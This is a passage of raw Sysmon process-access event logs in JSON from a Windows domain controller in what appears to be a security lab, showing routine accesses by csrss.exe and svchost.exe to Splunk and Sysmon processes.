Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6075,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41ED-5F2D-0000-001092010900}\r\nTargetProcessId: 3228\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41ED-5F2D-0000-001092010900}","TargetProcessId":"3228","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-admon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6076,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6077,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6078,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6079,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6080,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6081,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6082,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:58:37.385","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:58:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:58:37","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6083,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:58:37.385\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 